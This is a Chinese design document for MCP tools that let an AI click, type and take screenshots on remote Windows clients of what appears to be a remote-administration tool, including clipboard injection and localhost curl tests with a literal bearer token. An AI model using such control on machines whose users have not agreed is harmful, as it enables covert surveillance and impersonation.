+> 版本：v1（设计基线）　状态：待开发　关联：`docs/Mcp_Design.md`、`docs/Mcp_Terminal_Design.md`
+> 定位：本文件是「AI 远程控制一台 Windows 客户端（像人一样点鼠标、敲键盘、看画面完成任务）」功能的**唯一参照设计**，后续开发一律以本文为准，改需求先改本文。
+
+---
+
+## 1. 背景与目标
+
+### 1.1 问题
+
+现有 MCP 工具只能做「文本/命令行」层面的操作（`exec_command` 一次性命令、`terminal_*` 持久终端、`list_files`/`get_screenshot` 等只读）。很多真实任务只能在 **GUI 上完成**：点按钮、填表单、拖拽窗口、操作只有图形界面的软件。
+
+AI 无法「看懂」视频流。把 25fps 的远程画面直接丢给视觉模型是行不通的——每秒 25 张、每张数十万像素，海量且绝大部分帧对决策无用。
+
+### 1.2 目标
+
+提供一组 MCP 工具，让 AI 以**「截图 → 观察 → 决策 → 注入单个输入动作 → 等待 → 重复」**的闭环驱动远程桌面：
+
+- **Observe（看）**：按需取一帧解码后的位图（JPEG），按视觉模型能力缩放到合适尺寸。
+- **Act（动）**：注入鼠标/键盘事件，复用现有远程桌面的输入注入链路。
+- **Decide（想）**：由 AI/宿主（Claude Code / 任何 MCP 客户端）在工具返回结果之上编排循环——**YAMA 只提供原语，不提供黑盒 `perform_task`**（与终端设计同一哲学）。
+
+### 1.3 关键设计决策（已确认）
+
+| # | 决策 | 理由 |
+|---|---|---|
+| D1 | **截图驱动，非视频流** | 每次决策一张图，3–8s/步；视觉模型天然面向静态图 |
+| D2 | **原语 + AI 编排，非黑盒任务** | 可控、可审、可中断；AI 在循环外可插判断/确认 |
+| D3 | **归一化坐标（0..1）** | 彻底规避「截图缩放 vs 注入物理像素」的比例错位（最佳实践第一大坑） |
+| D4 | **复用现有注入链路** | `COMMAND_SCREEN_CONTROL` + `MSG64` + 客户端 `SendInput` 已成熟 |
+| D5 | **Observe 复用 `get_screenshot`** | 主连接按需抓 JPEG，无需常驻子连接，最省 |
+| D6 | **独立开关 + 全程审计** | 与终端同级：`McpRemoteControl=1 && McpReadonly=0`，默认关 |
+
+---
+
+## 2. 行业最佳实践借鉴
+
+本节是「科学设计」的依据，逐条落到下文对应章节。主要参考 Anthropic 官方 Computer Use / Browser Use 最佳实践与参考实现（见文末「参考」）。
+
+| 最佳实践 | 本设计落地 |
+|---|---|
+| 视觉模型是「规划者+眼睛」，宿主是「手」；工具调用=动作，返回=截图 | §3 循环归属：YAMA=手，AI=规划者 |
+| **客户端先自行缩图**，绝不让模型 API 静默缩放（否则坐标系统性偏移） | §5：客户端按 `max_width` 缩图后 JPEG 回传，模型见到的就是声明尺寸 |
+| 声明 `display_width/height` 必须 == 实际发送的图尺寸 | §7：归一化坐标，服务器侧映射物理像素，不依赖声明尺寸 |
+| 动作原语集合（move/click/drag/scroll/type/key/…） | §4：`remote_mouse`/`remote_keyboard` 的动作枚举对齐 |
+| 文本指令放在截图**之前**（内容顺序） | §8/宿主侧建议：由 MCP 客户端保证，本文仅记录 |
+| 缩图上限：长边 ~1568px、总像素 ~1.15MP（Claude 4.6 系）；推荐 1280×720 | §5.3：`max_width` 默认建议 1280，可配 |
+| 输入注入 vs 高危动作：不可逆操作应人工确认（human-in-the-loop） | §9.4：审计 + 宿主确认，YAMA 不做每动作确认（防延迟） |
+| 提示注入是首要风险（模型处理不可信 UI 文本） | §9.5：全审计 + 只读关才可用 + 建议宿主隔离 |
+| 长会话上下文管理（滚动缓冲/压缩） | §3：宿主职责，本文提示 |
+
+---
+
+## 3. 总体架构
+
+```
+┌──────────────────── 宿主（Claude Code / MCP 客户端）────────────────────┐
+│  系统提示(含远程控制约定) + 任务文本                                    │
+│        ↓                                                              │
+│  ┌──────────────────────── 智能体循环 ─────────────────────────┐      │
+│  │ get_screenshot(max_width) ──→ 视觉模型看图 ──→ 决策 ──→      │      │
+│  │ remote_mouse/remote_keyboard(归一化坐标/文本) ──→ 等待0.5–2s │      │
+│  │ 循环，直到任务完成或模型判定需用户介入                        │      │
+│  └────────────────────────────────────────────────────────────┘      │
+└───────────────────────────────┬───────────────────────────────────────┘
+                                │ JSON-RPC over HTTP POST /mcp (Bearer)
+┌───────────────────────────────▼───────────────────────────────────────┐
+│  YAMA 服务器（McpServer.cpp）                                          │
+│  · get_screenshot：COMMAND_SCREEN_PREVIEW_REQ → 客户端缩图 JPEG        │
+│  · remote_open：COMMAND_SCREEN_SPY → 建立屏幕子连接（控制会话）        │
+│  · remote_mouse/remote_keyboard：归一化→物理像素 → MSG64 →             │
+│    COMMAND_SCREEN_CONTROL（经屏幕子连接）                              │
+└───────────────────────────────┬───────────────────────────────────────┘
+                                │ 主连接（控制）+ 屏幕子连接（注入）
+┌───────────────────────────────▼───────────────────────────────────────┐
+│  客户端（ClientDll / ScreenManager / ScreenPreview）                   │
+│  · CaptureAndEncodePreview：抓主屏 + StretchBlt 缩图 + JPEG            │
+│  · ScreenManager.ProcessCommand：解码 MSG64 → SendInput               │
+└───────────────────────────────────────────────────────────────────────┘
+```
+
+**核心事实（已核实，见 §13 源码索引）**：
+
+- **Observe** 走**主连接**、无子连接、无需控制模式：`COMMAND_SCREEN_PREVIEW_REQ`(247) → 客户端抓主屏缩图 JPEG → `TOKEN_SCREEN_PREVIEW_RSP`(248)。现有 `get_screenshot` 已完整实现。
+- **Act（注入）必须走屏幕子连接**：`COMMAND_SCREEN_CONTROL`(20) 只能经 `COMMAND_SCREEN_SPY`(16) 建立的子连接发送（`hub.go` 注释：input events MUST go through the sub-connection）。故需要一个 `remote_open` 建立/持有该子连接。
+- 服务器端同时维护一张**原始 BGRA 32bpp DIB**（`m_BitmapData_Full`），但 MCP 的 `get_screenshot` **不使用**它——它拿的是客户端已编码的 JPEG。两者坐标空间不同，见 §7。
+
+---
+
+## 4. 工具集设计
+
+### 4.1 工具清单
+
+| 工具 | 作用 | 入参（required 标注） | 出参 |
+|---|---|---|---|
+| `get_screenshot`（**已有，复用**） | Observe | `id`；可选 `max_width`(64..1920) | JPEG 图片（见 §5） |
+| `remote_open` | 建立控制会话（屏幕子连接） | `id`；可选 `timeout_ms` | `session_id`(32hex)、`screen_w`/`screen_h`(物理虚拟桌面像素) |
+| `remote_close` | 关闭会话 | `id`、`session_id` | `closed`(bool) |
+| `remote_mouse` | 注入鼠标 | `id`、`session_id`、`action`、`x`、`y`（+ 按 action 需 `x2`/`y2`/`button`/`delta`/`clicks`） | `{}`（成功即空对象） |
+| `remote_keyboard` | 注入键盘 | `id`、`session_id`、`action`（+ 按 action 需 `text`/`key`/`modifiers`） | `{}` |
+
+> 命名对齐现有 `terminal_*`（open/exec/close），Observe 沿用 `get_screenshot` 避免重复造轮子。鼠标/键盘各一个工具、用 `action` 枚举区分具体动作——既对齐 Anthropic 的 `computer` 工具动作集，又贴合现有 `WebService::HandleMouse/HandleKey` 的「鼠标/键盘分家」实现。
+
+### 4.2 `remote_mouse` 动作枚举
+
+| action | 参数 | 语义 |
+|---|---|---|
+| `move` | `x`,`y` | 移动光标（不按键） |
+| `down` | `x`,`y`,`button`(left/middle/right) | 按下 |
+| `up` | `x`,`y`,`button` | 抬起 |
+| `click` | `x`,`y`,`button`(默认 left)、`clicks`(1/2/3，默认 1) | 单击/双击/三击 |
+| `right_click` | `x`,`y` | 右键（`click` 的便捷别名） |
+| `middle_click` | `x`,`y` | 中键 |
+| `drag` | `x`,`y`,`x2`,`y2`,`button`(默认 left) | 从 (x,y) 拖到 (x2,y2) |
+| `scroll` | `x`,`y`,`delta`(+/- 滚动量)、`button`(可选，垂直默认) | 滚轮 |
+
+### 4.3 `remote_keyboard` 动作枚举
+
+| action | 参数 | 语义 |
+|---|---|---|
+| `type` | `text` | 输入一串文本（字符级映射，非粘贴） |
+| `key_down` | `key`、`modifiers`(可选) | 按下组合键（如 `Ctrl`+`C`） |
+| `key_up` | `key`、`modifiers`(可选) | 抬起 |
+| `key_press` | `key`、`modifiers`(可选) | 按下并抬起（最常用） |
+
+`key` 取值对齐 Windows 虚拟键名（`VK_*` 去掉前缀，如 `ENTER`/`TAB`/`F5`/`LEFT`）与常见修饰键 `CTRL`/`ALT`/`SHIFT`/`WIN`。`type` 文本中的字符经客户端 `VkKeyScan`/Unicode 注入映射为键盘事件（非剪贴板粘贴，保证焦点内输入）。
+
+### 4.4 可选/扩展工具（`remote_clipboard`、`remote_focus_window` 为 §17 代聊实验所需，建议随阶段一落地）
+
+- `remote_clipboard`：写远程剪贴板（UTF-8→Unicode），非 ASCII 文本输入的关键路径；复用 `COMMAND_C2C_TEXT`(90) 的 UTF-8 逻辑或新增 UTF-8 设剪贴板命令（§6.4）。
+- `remote_focus_window`：`COMMAND_SCREEN_WINDOW`(153) / 客户端 `SetForegroundWindow`，把焦点给到指定窗口（配合 `list_windows` 的 `hwnd`）；代聊第一步。
+- `remote_cursor_position`：读当前光标（`TOKEN_NEXTSCREEN` 帧头已带 `POINT cursor`）。
+- `remote_screenshot`（会话内/窗口抓屏）：从子连接 DIB 服务端缩图，或按窗口抓取（`COMMAND_SCREEN_WINDOW`），供高分辨率读聊天文字与多显示器场景（§12 阶段二、§17）。
+
+---
+
+## 5. 屏幕捕获与编码（Observe）
+
+### 5.1 现有链路（复用）
+
+`get_screenshot`（`McpServer.cpp` `BuildGetScreenshot`，~1597）已实现：
+
+1. `ParseHostIdArg` → `FindMainContext` → 能力门 `ctx->SupportsScreenPreview()`（`CLIENT_CAP_SCREEN_PREVIEW`，不支持 → `-32005`）。
+2. `BeginPending(devId,"get_screenshot")` 设备级互斥（忙 → `-32003`）。
+3. `reqId = NextPreviewReqId()`；`SetPendingReqId(devId, reqId)`（stale-drop 机制）。
+4. `parent->ChooseScreenPreviewParams(...)` 按 RTT/FRP 自适应缩图档位 + `max_width` 覆盖（clamp 64..1920）。
+5. `SendScreenPreviewRequest` → `COMMAND_SCREEN_PREVIEW_REQ`。
+6. `WaitPending` 收 `[ScreenPreviewRspHeader][JPEG]`，校验 `status==OK && format==JPEG`。
+7. base64 JPEG 返回：`structuredContent.image = {mimeType:"image/jpeg", width, height, bytes}`，`content=[{type:"image", data:<base64>, mimeType:"image/jpeg"}]`。
+
+客户端 `CaptureAndEncodePreview`（`client/ScreenPreview.cpp:107`）抓**主屏** + `StretchBlt`(HALFTONE) 缩图 + GDI+ `Bitmap::Save` JPEG——**位图永不离开客户端，只回传 JPEG**。
+
+### 5.2 缩放策略（对齐最佳实践 D5）
+
+- 缩图在**客户端**完成（`max_width` 长边约束），服务器/MCP 宿主**不再二次缩放**，模型看到的就是声明尺寸——避免「模型 API 静默缩放导致坐标漂移」这个头号坑。
+- `max_width` 由宿主按视觉模型能力显式传入；YAMA 提供**默认建议 1280**（长边），上限维持 1920。
+
+### 5.3 推荐参数
+
+| 项 | 建议值 | 说明 |
+|---|---|---|
+| `max_width`（长边） | 1280（默认）/ 1568（上限） | 1280×720 ≈ 80% 像素预算、训练常见分辨率 |
+| 编码 | JPEG，quality ~70–85 | 客户端 `jpegQuality` 已有，按 `ChooseScreenPreviewParams` 自适应 |
+| 返回 | base64 `image/jpeg` | 已实现 |
+
+---
+
+## 6. 输入注入（Act）
+
+### 6.1 协议（复用，已核实）
+
+- **包格式**：`[cmd:1][MSG64:48]`，可批量重复（`commands.h` `COMMAND_SCREEN_CONTROL=20`，`MSG64` 1581–1623）。
+- **MSG64 布局**：`{uint64 hwnd, message, wParam, lParam, time; POINT pt;}` = 48 字节（`_WIN64` 下 `MYMSG` 即 `MSG`；客户端亦接受 28 字节 `MSG32`，由 `ulLength % 28/48` 判定）。
+- **客户端解码**：`ScreenManager.cpp:1175` → `ProcessCommand(1727)` → `SendInput`：
+  - 鼠标：坐标取 `LOWORD/HIWORD(lParam)`，`WM_MOUSEMOVE`→`MOUSEEVENTF_MOVE`，`WM_LBUTTONDOWN/UP`→`LEFTDOWN/LEFTUP`，`WM_LBUTTONDBLCLK`→额外 `LEFTDOWN`，`WM_MBUTTONDOWN/UP`，`WM_MOUSEWHEEL`→`MOUSEEVENTF_WHEEL`(`mouseData=GET_WHEEL_DELTA_WPARAM`)。
+  - 键盘：`wVk=(WORD)wParam`，`wScan=(lParam>>16)&0xFF`，`KEYEVENTF_EXTENDEDKEY` 由 `(lParam>>24)&1`。
+
+### 6.2 服务端可复用实现
+
+`WebService::HandleMouse`（`WebService.cpp:773-865`）与 `HandleKey`（`867-952`）已从 JSON（`type/x/y/button/delta`；`keyCode/down/altKey`）构造 `MSG64` 并 `[COMMAND_SCREEN_CONTROL][MSG64]` 发送。其中 `HandleKey` 已正确处理 `lParam`：repeat=1、`MapVirtualKey` 扫瞄码、扩展键表、Alt 上下文位 29、keyup 位 30–31。
+
+**结论**：`remote_mouse`/`remote_keyboard` 是这两个函数的 MCP 薄封装——先归一化→物理像素，再套用其 `MSG64` 构造逻辑。**不要新写注入协议**。
+
+### 6.3 子连接前置条件（关键约束）
+
+注入**必须**经屏幕子连接：
+
+1. 主连接发 `COMMAND_SCREEN_SPY`(16)（载荷 `{cmd, USING_DXGI|2, ALGORITHM_*, MultiScreen}`，见 `2015RemoteDlg.cpp:8443-8470`）→ 客户端开子连接（`ClientDll.cpp:89-94`）。
+2. 客户端回 `TOKEN_BITMAPINFO`（含物理 `BITMAPINFOHEADER`：`biWidth/biHeight`）——**这是归一化坐标映射所需的物理分辨率来源**。
+3. 服务器发 `COMMAND_NEXT`(30) 开始流/允许控制。
+4. `GetScreenContext(device_id)`（`WebService.cpp:2084`）从 `m_ScreenContexts` 取该子连接上下文。
+
+> 实现提示：上述 1–4 的建立/持有逻辑**耦合在 `CScreenSpyDlg`（隐藏对话框）里**——子连接、帧 DIB、`TOKEN_BITMAPINFO` 处理都由它完成。MCP 的 `remote_open` 应复用 `WebService::StartRemoteDesktop`(1725) 的「隐藏对话框」路径，而非另造无对话框持有者（§13.2）。
+
+`remote_open` 即上述 1–4 的封装；`screen_w/screen_h` 取自 `TOKEN_BITMAPINFO`。
+
+### 6.4 文本输入：ASCII 直注 vs 非 ASCII 走剪贴板
+
+`remote_keyboard` 的 `type` 走物理键事件（`wVk`/`wScan` → `SendInput`），只能可靠注入 ASCII/ANSI 字符——**中文等非 ASCII 文本无法靠模拟键盘键入**（需 IME 组合，键事件层面做不到）。
+
+非 ASCII 文本的可靠路径是**剪贴板 + 粘贴**：
+
+- 服务器设远程剪贴板命令 `COMMAND_SCREEN_SET_CLIPBOARD`(25)，包 `[cmd:1][text:N]`，经屏幕子连接发送；客户端 `UpdateClientClipboard`（`ScreenManager.cpp:1223/1599`）落到剪贴板。
+- 随后 `remote_keyboard` 注入 `Ctrl+V` 粘贴、`Enter` 发送。
+- **编码注意（已核实）**：`UpdateClientClipboard` 用 `SetClipboardData(CF_TEXT,...)`——ANSI/GBK 格式（`CF_TEXT`，非 `CF_UNICODETEXT`）。MVP 下中文可经 `ToAnsi(utf8, 936)` 转 GBK 后直发（与终端命令同模式）；但 emoji/非 GBK 字符会丢、部分新式聊天软件粘贴偏好 Unicode。更稳做法是复用 `COMMAND_C2C_TEXT`(90) 的 UTF-8→Unicode→`CF_UNICODETEXT` 逻辑（`KernelManager.cpp:1573-1587`，且已内置「设完剪贴板后自动模拟 Ctrl+V」），或新增一个 UTF-8 设剪贴板变体。见 §17 实验案例。
+
+---
+
+## 7. 坐标约定与映射
+
+### 7.1 归一化坐标（D3）
+
+- AI 在**所有鼠标动作**里输出 **0..1 浮点**：`x = 目标横向比例，y = 目标纵向比例`，相对**它看到的那张截图**。
+- 服务器侧映射：`phys_x = round(norm_x * screen_w)`、`phys_y = round(norm_y * screen_h)`，其中 `screen_w/h` 是 `remote_open` 时从 `TOKEN_BITMAPINFO` 得到的**物理捕获分辨率**。
+- 好处：无论 `max_width` 怎么缩、显示器多大，AI 永远只说「在图的 40%/60% 处点一下」，比例错位风险为零。
+
+### 7.2 坐标空间一致性（最重要正确性点）
+
+Observe（`get_screenshot` 抓**主屏**）与 Act（`SendInput` 绝对坐标在**虚拟桌面**空间）默认不同源。**阶段一只支持单显示器**：主屏 == 虚拟桌面，两者重合，映射严格正确。
+
+多显示器（`MultiScreen`）在**阶段二**处理：届时 Observe 必须改抓**整个虚拟桌面**（而非主屏），`screen_w/h` 用虚拟桌面尺寸，归一化坐标才继续成立。**在阶段二落地前，`remote_open` 对多显示器配置应返回显式错误或降级为主屏**（见 §12）。
+
+### 7.3 边界与钳制
+
+- 归一化值越界（`<0` 或 `>1`）→ 钳制到 `[0,1]` 或返回 `-32602`（建议钳制，模型偶发 `1.0001`）。
+- `phys_x/y` 不得越过 `screen_w/h`，注入前 `clamp(0, screen_w-1)`。
+
+---
+
+## 8. 控制会话状态机
+
+### 8.1 生命周期
+
+```
+remote_open ──► 建立子连接 ──► [remote_mouse/remote_keyboard × N + get_screenshot × M]
+     │                                              │
+     └──（busy 互斥 / idle 回收 / 断线清理）──────────┴──► remote_close（幂等）
+```
+
+### 8.2 状态与不变量（镜像 `docs/Mcp_Terminal_Design.md` §并发）
+
+- **单设备单控制会话**：`remote_open` 对已存在会话 → `-32003`（忙）。
+- **互斥**：同一设备上，MCP 远程控制会话与**人类远程桌面观看**（`m_ScreenContexts` 已被占用）互斥——`remote_open` 发现已有屏幕子连接 → `-32003`，避免 AI 向人类正在观看/控制的画面注入。`remote_mouse/keyboard` 要求 `session_id` 匹配且会话未关闭。
+- **busy 标志**：一条注入在飞时 `busy=true`，保证等待线程是唯一擦除者（沿用终端的 `m_TermMutex`+`busy` 模式；远程控制建议独立 `m_ScreenCtrlMutex`/`m_ScreenCtrlCv`）。
+- **idle 回收**：会话闲置超时（默认 300s）自动关闭并 `CancelIO`（镜像 `SweepIdleTerminals`）。
+- **断线清理**：`OfflineProc`/`OnTerminalClosed` 同位置加 `McpServer().OnScreenControlClosed(subCtx)`，防悬空 `subCtx` 被连接池复用（复刻终端设计里发现的第 2 个修复点）。
+- **锁外 `CancelIO`**：所有取消动作在锁外执行（终端的 P2 教训）。
+
+### 8.3 并发（P5 教训）
+
+`httplib` 多线程并发处理请求；`remote_mouse` 会高频调用。会话状态一律 `m_ScreenCtrlMutex` 串行化，**不要假定请求串行**。高频注入可加**节流**（沿用 `SendScaledMouseMessage` 的鼠标移动节流思路，`ScreenSpyDlg.cpp:2728-2743`）。
+
+---
+
+## 9. 安全模型
+
+延续既有「可控、可关、可审、可隔离」原则（与终端同级）：
+
+### 9.1 开关与门控
+
+- 新增 `McpRemoteControl`（默认 **0=关**）。
+- `remote_*` 生效条件：`McpRemoteControl=1 && McpReadonly=0`，否则 `-32006`。
+- `get_screenshot` 是只读工具，不受此门控，仍仅受现有能力门（供纯观察场景）。
+
+### 9.2 全程审计
+
+每条 `remote_open/close/mouse/keyboard` 调用 → `PostMessageA(WM_SHOWERRORMSG, ...)` → `m_MessageLog` → `get_audit_log` 可查（复用 `McpServer.cpp:2050` 的审计模式，标题 `MCP远程控制`，标记「不可关闭」）。审计内容含：设备 id、动作、归一化坐标与换算后的物理坐标、session_id、时间戳。
+
+### 9.3 会话级鉴权
+
+- `session_id` 由 `GenerateRandomToken()`（32hex），每次 `remote_open` 独立随机，防串用（镜像终端 P6）。
+- 注入工具校验 `session_id` 归属与设备匹配，不匹配 → `-32002`。
+
+### 9.4 不可逆操作与人工确认
+
+- YAMA **不做逐动作确认**（会引入每步 0.5s+ 延迟，破坏闭环节奏）。
+- 高危动作（提交表单、删除、付款、改系统设置）的确认由**宿主/AI 编排层**负责（Claude Code 的权限系统 / 系统提示约定「不可逆操作前暂停询问用户」）。本文记录此分工；YAMA 提供审计留痕兜底。
+
+### 9.5 提示注入（Prompt Injection）
+
+视觉模型会读到客户端屏幕上的**不可信 UI 文本**，存在注入风险。缓解：远程控制本身即高危能力（默认关 + 只读关才开 + 全审计）；建议宿主将远程控制会话隔离在独立权限域，并对「屏幕文本里的指令」保持怀疑。YAMA 侧不做内容分类（无意义且加延迟），记录即可。
+
+---
+
+## 10. 错误码
+
+沿用现有约定（`BuildError(id, code, msg)`）：
+
+| code | 含义 | 触发 |
+|---|---|---|
+| -32602 | 参数非法 | action 未知、必填参数缺失、`max_width` 越界、归一化值格式错 |
+| -32000 | 通用失败 | 未分类错误 |
+| -32001 | 超时 | `remote_open` 等子连接/`get_screenshot` 等帧超时 |
+| -32002 | 设备/会话不存在 | `id` 无在线主机、`session_id` 不存在或不匹配 |
+| -32003 | 设备/会话忙 | 已有控制会话、人类远程桌面占用、`get_screenshot` 在飞 |
+| -32004 | 发送失败 | 注入命令发送失败 |
+| -32005 | 能力不支持 | 客户端无 `CLIENT_CAP_SCREEN_PREVIEW`（Observe）/ 不支持屏幕控制（Act） |
+| -32006 | 被开关禁用 | `McpRemoteControl=0` 或 `McpReadonly=1` |
+| -32008 | 非法/被拒参数 | 多显示器未支持时的 `remote_open` 降级拒绝（阶段一） |
+
+---
+
+## 11. 配置项
+
+新增 1 项（`THIS_CFG` `settings` 节，键名沿用蛇形）：
+
+| 键 | 默认 | 说明 |
+|---|---|---|
+| `McpRemoteControl` | `0` | 远程控制开关；要求 `McpReadonly=0` 才生效 |
+
+其余沿用：`McpEnabled`/`McpPort`/`McpBind`/`McpToken`/`McpReadonly`/`McpTerminal`/`McpCmdWhitelist`。改动需重启生效（与终端一致）。
+
+---
+
+## 12. 已知限制与后续扩展
+
+### 12.1 阶段一（本期）
+
+- **单显示器**：Observe 抓主屏，坐标空间与虚拟桌面重合；多显示器 `remote_open` 显式报错（`-32008`）。
+- 注入基于**绝对坐标** `SendInput`，要求客户端处于可注入的桌面会话（已登录、非锁屏/非 UAC 安全桌面）；锁屏/UAC 提示场景注入无效（客户端 `SendInput` 限制），设计文档记录为已知限制。
+- **代聊实验使能项**：窗口抓屏（`COMMAND_SCREEN_WINDOW`）、UTF-8 剪贴板、窗口聚焦随阶段一落地（§17）。
+
+### 12.2 阶段二（后续）
+
+1. **多显示器虚拟桌面捕获**：`get_screenshot` 增加虚拟桌面抓屏，或新增 `remote_screenshot` 从子连接 DIB 服务端缩图（复用 `BmpToJpeg`/`CacheThumbnail` GDI+ 路径），使 Observe/Act 同源。
+2. **窗口定向**：`remote_focus_window`（复用 `COMMAND_SCREEN_WINDOW` + 客户端 `SetForegroundWindow`）。
+3. **光标读取 / 剪贴板**。
+4. **服务端缩图**：从 `m_BitmapData_Full`（BGRA DIB）直接按 API 上限缩图编码，进一步省客户端往返。
+
+---
+
+## 13. 改动清单（供实现参照）
+
+> 行号以当前树为准（实现前请 grep 复核）。新增/改动尽量「复用」而非「重写」。
+
+### 13.1 `server/2015Remote/McpServer.h`
+
+- 新增 `struct ScreenCtrlSession`（仿 `TermSession`）：`sessionId`、`deviceId`、`busy`、`started`、`closed`、`lastActiveAt`、`screenW/screenH`（来自 `TOKEN_BITMAPINFO`）、`subCtx` 引用。
+- 新增方法：`SetRemoteControlEnabled/IsRemoteControlEnabled`、`BeginScreenCtrlOpen/…/CloseScreenCtrlSession/SweepIdleScreenCtrl`、`OnScreenControlClosed(context*)`、`ResolveScreenCtrlSessionHost`。
+- 新增成员：`bool m_remoteControlEnabled=false;` 及 `std::mutex m_ScreenCtrlMutex; std::condition_variable m_ScreenCtrlCv; std::map<context*,uint64_t> m_ScreenCtrlContextToDevice; std::map<uint64_t,ScreenCtrlSession> m_ScreenCtrlSessions;`（或复用 WebService 的 `m_ScreenContexts` 生命周期，见下）。
+
+### 13.2 `server/2015Remote/McpServer.cpp`
+
+- 新增 4 个 schema 构建器 + 3 个 handler：`BuildRemoteOpen/Close/Mouse/Keyboard`（镜像 `BuildTerminalOpen` 等，`BuildToolsListResult` ~1278 后加条目，`BuildToolsCall` ~2124 加分派）。
+- `remote_open`：`SweepIdleScreenCtrl` → `ResolveScreenCtrlSessionHost` → 已有会话 `-32003` → `GenerateRandomToken` → **复用 Web 远程桌面的会话建立路径 `WebService::StartRemoteDesktop`(1725)**（发 `COMMAND_SCREEN_SPY` → 以 `SW_HIDE` 打开隐藏 `CScreenSpyDlg` 持有子连接 → 客户端子连接到达 → `RegisterScreenContext` 记入 `m_ScreenContexts`）→ 等 `TOKEN_BITMAPINFO` 取 `screenW/H` → `COMMAND_NEXT` → 审计 → 返回 `{session_id, screen_w, screen_h}`。**注意：屏幕子连接/帧 DIB/`TOKEN_BITMAPINFO` 处理都与 `CScreenSpyDlg` 耦合，不要另造无对话框持有者——沿 Web 的隐藏对话框路径是低风险正解。**
+- `remote_mouse/keyboard`：`ResolveScreenCtrlSessionHost` → 校验 `session_id`/`busy` → 归一化→物理像素（`round(norm * screenW/H)` + clamp）→ **复用 `WebService::HandleMouse/HandleKey` 的 `MSG64` 构造**（或抽取成共享 helper `BuildMouseMsg64/BuildKeyMsg64`，避免 MCP 与 Web 两处重复）→ `subCtx->Send2Client([COMMAND_SCREEN_CONTROL][MSG64])` → 审计。
+- `remote_close`：幂等 `CloseScreenCtrlSession`（不存在 → `{closed:true}`；sid 不匹配 → `-32002`）→ 锁外 `CancelIO` → 审计。
+- `OnScreenControlClosed`：镜像终端修复点——空闲会话直接擦路由+会话，busy 会话唤醒等待线程由其清理。
+- `SweepIdleScreenCtrl`：镜像 `SweepIdleTerminals`（`difftime` 防时钟回拨）。
+
+### 13.3 `server/2015Remote/McpSettingsDlg.h/.cpp`
+
+- 新增复选框 `IDC_MCP_REMOTECONTROL = 1008`，文案 `_TR("启用远程控制（AI 操控桌面）")`；回填/落盘 `McpRemoteControl`；对话框高度 +30。
+
+### 13.4 `server/2015Remote/2015RemoteDlg.cpp`
+
+- 启动读配置处加 `McpServer().SetRemoteControlEnabled(THIS_CFG.GetInt("settings","McpRemoteControl",0)!=0);`。
+- `OfflineProc` 加 `if (McpServer().IsRunning() && McpServer().IsScreenCtrlContext(ContextObject)) McpServer().OnScreenControlClosed(ContextObject);`（复刻终端修复点）。
+
+### 13.5 语言文件
+
+- 沿用终端约定：MCP 相关文案本就在 `lang/*.ini` 无条目（`_TR` 对未命中键原样返回中文）。若日后翻译，用 **GBK 工具**改 `lang/{en_US,zh_TW}.ini`（ANSI/GBK，**不能用 Write/Edit 直接写**）。
+
+---
+
+## 14. 关键点（实现时务必遵守）
+
+- **P1（坐标一致性，最重要）**：归一化坐标映射所用 `screenW/H` 必须与**当前截图来源的分辨率**一致。阶段一单屏下 `TOKEN_BITMAPINFO` 的主屏尺寸 == 截图主屏物理尺寸，才成立；任何「用虚拟桌面尺寸映射主屏截图」都会造成系统性偏移（最佳实践第一大坑）。
+- **P2（注入走子连接）**：`COMMAND_SCREEN_CONTROL` **必须**经 `GetScreenContext` 取得的子连接发送，主连接无效。
+- **P3（锁外 CancelIO）**：所有 `CancelIO` 在 `m_ScreenCtrlMutex` 之外（终端 P2 教训）。
+- **P4（复用勿重写）**：`MSG64` 构造逻辑复用 `WebService::HandleMouse/HandleKey`；理想做法抽共享 helper，否则未来两处漂移。
+- **P5（并发串行化）**：`remote_mouse` 高频并发，状态全部走锁；勿假定请求串行（终端 P5 教训）。
+- **P6（session_id 独立随机 + 互斥）**：会话 token 用 `GenerateRandomToken`；单设备单会话；与人类远程桌面观看互斥（`-32003`）。
+- **P7（非黑盒）**：不实现 `perform_task`；循环归宿主/AI，YAMA 只出原语（D2）。
+
+---
+
+## 15. 验证（端到端，127.0.0.1:6544，Bearer `a2176213eddcf0acfdb285940ec4eb2a`）
+
+前置：设置开 `McpEnabled=1`、`McpReadonly=0`、`McpRemoteControl=1`；目标 Windows 客户端在线、已登录桌面。`id` 取 `list_online_hosts` 的十进制主机 id。
+
+```bash
+B='Authorization: Bearer a2176213eddcf0acfdb285940ec4eb2a'
+U=http://127.0.0.1:6544/mcp
+
+# 1) tools/list 应出现 remote_open/close/mouse/keyboard 四个工具
+curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
+
+# 2) 打开会话 → session_id + screen_w/h
+curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"remote_open","arguments":{"id":"<HOSTID>"}}}'
+
+# 3) Observe：截图（复用）
+curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"get_screenshot","arguments":{"id":"<HOSTID>","max_width":1280}}}'
+
+# 4) Act：移动 + 单击（归一化坐标，0.5,0.5 = 屏幕中心）
+curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"remote_mouse","arguments":{"id":"<HOSTID>","session_id":"<SID>","action":"move","x":0.5,"y":0.5}}}'
+curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":5,"method":"tools/call","params":{"name":"remote_mouse","arguments":{"id":"<HOSTID>","session_id":"<SID>","action":"click","x":0.5,"y":0.5,"button":"left"}}}'
+
+# 5) 键盘：按下并抬起 Ctrl+Esc 或输入文本
+curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":6,"method":"tools/call","params":{"name":"remote_keyboard","arguments":{"id":"<HOSTID>","session_id":"<SID>","action":"key_press","key":"WIN"}}}'
+
+# 6) 负例：未开会话/错误 sid → -32002；已开会话再 open → -32003；只读/开关关 → -32006
+# 7) 关闭 + 幂等关闭
+curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":9,"method":"tools/call","params":{"name":"remote_close","arguments":{"id":"<HOSTID>","session_id":"<SID>"}}}'
+
+# 8) 审计链
+curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":12,"method":"tools/call","params":{"name":"get_audit_log","arguments":{}}}'
+```
+
